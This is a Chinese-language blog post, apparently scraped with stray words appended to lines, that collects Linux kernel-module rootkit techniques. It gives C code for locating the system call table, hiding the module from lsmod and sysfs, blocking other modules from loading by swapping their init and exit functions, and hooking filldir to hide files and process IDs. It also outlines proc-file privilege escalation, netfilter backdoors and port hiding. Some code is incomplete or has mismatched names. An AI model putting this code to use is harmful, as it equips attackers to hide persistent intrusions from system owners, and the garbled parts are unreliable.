linux lkm rootkit經常使用技巧

簡介

蒐集一下linux lkm rootkit中經常使用的一些技巧html

一、劫持系統調用

遍歷地址空間

根據系統調用中的一些導出函數,好比sys_close的地址來尋找linux

unsigned long **
get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;

  for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
    if (entry[__NR_close] == (unsigned long *)sys_close) {
        return entry;
      }
  }

  return NULL;
}

這要求判斷的地址是導出函數,這樣才能獲取到地址網絡

根據IDT地址,找到中斷處理函數,再從中根據特徵碼找到系統調用表

在i386的機器中,使用以下代碼調用系統調用表tcp

call *sys_call_table(,%eax,4)

這條指令的二進制代碼是函數

0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

而後根據0xff 0x14 0x85這3個特徵碼去尋找表的地址post

IDTR idtr; interrupt_descriptor *IDT, *sytem_gate;
asm("sidt %0" : "=m" (idtr));
IDT = (interrupt_descriptor *) idtr.base_addr;
system_gate = &IDT[0x80];
sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1);
for (i = 0; i < 100; i++) {
if (sys_call_asm[i] == (unsigned char) 0xff &&
sys_call_asm[i+1] == (unsigned char) 0x14 &&
sys_call_asm[i+2] == (unsigned char) 0x85)
*guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3];
}

根據system.map來尋找

System.map位於/boot目錄下,內核編譯時生的符號表內容spa

直接在這個文件中尋找sys_call_table的地址指針

內核中kallsym尋找符號地址

內核中有查詢符號表地址的函數,直接使用就能夠了調試

//查詢符號表的函數
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
    int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) return !!(data[1] = addr);
    } return 0;
}
/*
利用kallsyms_on_each_symbol能夠查詢符號表,只須要傳入查詢函數就能夠了
data[0]表示要查詢的地址
data[1]表示結果
*/
static void *khook_lookup_name(const char *name)
{
    long data[2] = { (long)name, 0 };
    kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
    return (void *)data[1];
}

內聯鉤子

替換掉內核代碼的前一部分,實現劫持內核其餘的函數邏輯rest

具體能夠看這裏:http://www.javashuo.com/article/p-sddzvgrc-s.html

系統派遣例程篡改

在整個系統調用的流程中,修改跳轉到sys_call_table的地址的位置,而後跳轉到自定義僞造系統調用表,這樣也能夠實現系統調用的劫持

模擬系統調用

寫一段代碼,用到sys_call_table,而後使用objdump查看地址

#include <stdio.h>
void fun1()
{
        printf("fun1/n");
}
void fun2()
{
        printf("fun2/n");
}
unsigned int sys_call_table[2] = {fun1, fun2};
int main(int argc, char **argv)
{
        asm("call *sys_call_table(%eax,4");
}

經過/dev/kmem訪問內存來實現系統調用表的搜尋

這種方式統一和以前的內存地址搜尋同樣,須要特徵碼,好比說0xff 0x14 0x85

kprobes

它的工做方式以下:

1. 用戶指定一個探測點,並把一個用戶定義的處理函數關聯到該探測點
2. 在註冊探測點的時候,對被探測函數的指令碼進行替換,替換爲int 3的指令碼
3. 在執行int 3的異常執行中,經過通知鏈的方式調用kprobe的異常處理函數
4. 在kprobe的異常出來函數中,判斷是否存在pre_handler鉤子,存在則執行
5. 執行完後,準備進入單步調試,經過設置EFLAGS中的TF標誌位,而且把異常返回的地址修改成保存的原指令碼
6. 代碼返回,執行原有指令,執行結束後觸發單步異常
7. 在單步異常的處理中,清除單步標誌,執行post_handler流程,並最終返回 

LSM hook技術

修改LSM的鉤子函數,也就是全局表security_ops的函數指針

二、隱藏模塊

刪除全局模塊鏈表

lsmod命令是經過/proc/modules來獲取當前系統模塊信息的,而/proc/modules中的當前系統模塊信息是內核利用struct modules結構體的表頭遍歷內核模塊鏈表、從全部模塊的struct module結構體中獲取模塊的相關信息來獲得的。結構體struct module在內核中表明一個內核模塊。經過insmod(實際執行init_module系統調用)把本身編寫的內核模塊插入內核時,模塊便與一個 struct module結構體相關聯,併成爲內核的一部分,全部的內核模塊都被維護在一個全局鏈表中,鏈表頭是一個全局變量struct module *modules。任何一個新建立的模塊,都會被加入到這個鏈表的頭部,經過modules->next便可引用到。爲了讓咱們的模塊在lsmod命令中的輸出裏消失掉,咱們須要在這個鏈表內刪除咱們的模塊

從sysfs中隱藏模塊

除了lsmod命令和相對應的查看/proc/modules之外,咱們還能夠在sysfs中,也就是經過查看/sys/module/目錄來發現現有的模塊

這個問題也很好解決,在初始化函數中添加一行代碼便可解決問題

kobject_del(&THIS_MODULE->mkobj.kobj);

從文件隱藏的角度來隱藏模塊

前面說到,用戶態讀取模塊信息是proc/modules和sys/modules,能夠採用隱藏文件的方式來隱藏這兩個文件的信息

三、後門

使用proc文件提升進程權限

新建一個proc文件(固然最後要隱藏),而後自定義file_operation中的寫操做,用來提取權限

使用netfilter過濾進入系統的網絡包,經過網絡包中特殊字段來作到控制系統

四、防止其餘模塊加載

註冊或者註銷模塊通知處理函數可使用 register_module_notifier 或者unregister_module_notifier

編寫一個通知處理函數,而後填充 struct notifier_block 結構體, 最後使用register_module_notifier 註冊就能夠了

int module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);
 
struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

處理函數裏面再更改權限

int
fake_init(void);
void
fake_exit(void);
 
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定義鎖。
    DEFINE_SPINLOCK(module_notifier_spinlock);
 
    module = data;
    fm_alert("Processing the module: %s\n", module->name);
 
    //保存中斷狀態加鎖。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s.\n",
                 module->name);
        // 偷天換日:篡改模塊的初始函數與退出函數。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }
 
    // 恢復中斷狀態解鎖。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);
 
    return NOTIFY_DONE;
}
 
 
int
fake_init(void)
{
    fm_alert("%s\n", "Fake init.");
 
    return 0;
}
 
 
void
fake_exit(void)
{
    fm_alert("%s\n", "Fake exit.");
 
    return;
}

五、隱藏文件

到文件隱藏,咱們不妨先看看文件遍歷的實現,在linux內核中,fs\readdir.c中,有3個用來遍歷文件的系統調用,old_readdir,getdents和getdents64,看其中兩個,也就是系統調用getdents / getdents64 ,簡略地瀏覽它在內核態服務函數(sys_getdents)的源碼 (位於fs/readdir.c),咱們能夠看到以下調用層次, sys_getdents ->iterate_dir -> struct file_operations 裏的 iterate->這兒省略若干層次 -> struct dir_context 裏的 actor ,也就是filldir

filldir 負責把一項記錄(好比說目錄下的一個文件或者一個子目錄)填到返回的緩衝區裏。若是咱們鉤掉filldir ,並在咱們的鉤子函數裏對某些特定的記錄予以直接丟棄,不填到緩衝區裏,上層函數與應用程序就收不到那個記錄,也就不知道那個文件或者文件夾的存在了,也就實現了文件隱藏。

具體說來,咱們的隱藏邏輯以下: 篡改根目錄(也就是「/」)的 iterate爲咱們的假 iterate , 在假函數裏把 struct dir_context 裏的 actor替換成咱們的 假 filldir ,假 filldir 會把須要隱藏的文件過濾掉。

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 備份真的 ``filldir``,以備後面之需。
    real_filldir = ctx->actor;
 
    // 把 ``struct dir_context`` 裏的 ``actor``,
    // 也就是真的 ``filldir``
    // 替換成咱們的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;
 
    return real_iterate(filp, ctx);
}
 
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 若是是須要隱藏的文件,直接返回,不填到緩衝區裏。
        fm_alert("Hiding: %s", name);
        return 0;
    }
 
    /* pr_cont("%s ", name); */
 
    // 若是不是須要隱藏的文件,
    // 交給的真的 ``filldir`` 把這個記錄填到緩衝區裏。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

通用宏

# define set_f_op(op, path, new, old)                       \
    do {                                                    \
        struct file *filp;                                  \
        struct file_operations *f_op;                       \
                                                            \
        fm_alert("Opening the path: %s.\n", path);          \
        filp = filp_open(path, O_RDONLY, 0);                \
        if (IS_ERR(filp)) {                                 \
            fm_alert("Failed to open %s with error %ld.\n", \
                     path, PTR_ERR(filp));                  \
            old = NULL;                                     \
        } else {                                            \
            fm_alert("Succeeded in opening: %s\n", path);   \
            f_op = (struct file_operations *)filp->f_op;    \
            old = f_op->op;                                 \
                                                            \
            fm_alert("Changing iterate from %p to %p.\n",   \
                     old, new);                             \
            disable_write_protection();                     \
            f_op->op = new;                                 \
            enable_write_protection();                      \
        }                                                   \
    } while(0)

好比這麼調用下面的代碼

void *dummy;
set_file_op(iterate, "/", real_iterate, dummy);

六、隱藏進程

Linux 上純用戶態枚舉並獲取進程信息,/proc 是惟一的去處。因此,對用戶態隱藏進程,咱們能夠隱藏掉/proc 下面的目錄,這樣用戶態能枚舉出來進程就在咱們的控制下了。讀者如今應該些許體會到爲何文件隱藏是重點內容了。

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;
 
    // 把字符串變成長整數。
    pid = simple_strtol(name, &endp, 10);
 
    if (pid == SECRET_PROC) {
        // 是咱們須要隱藏的進程,直接返回。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }
 
    /* pr_cont("%s ", name); */
 
    // 不是須要隱藏的進程,交給真的 ``filldir`` 填到緩衝區裏。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);

七、隱藏端口

向用戶態隱藏端口, 其實就是在用戶進程讀/proc下面的相關文件獲取端口信息時, 把須要隱藏的的端口的內容過濾掉,使得用戶進程讀到的內容裏面沒有咱們想隱藏的端口。
具體說來,看下面的表格。
網絡類型 /proc 文件 內核源碼文件 主要實現函數
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show
相關文章
相關標籤/搜索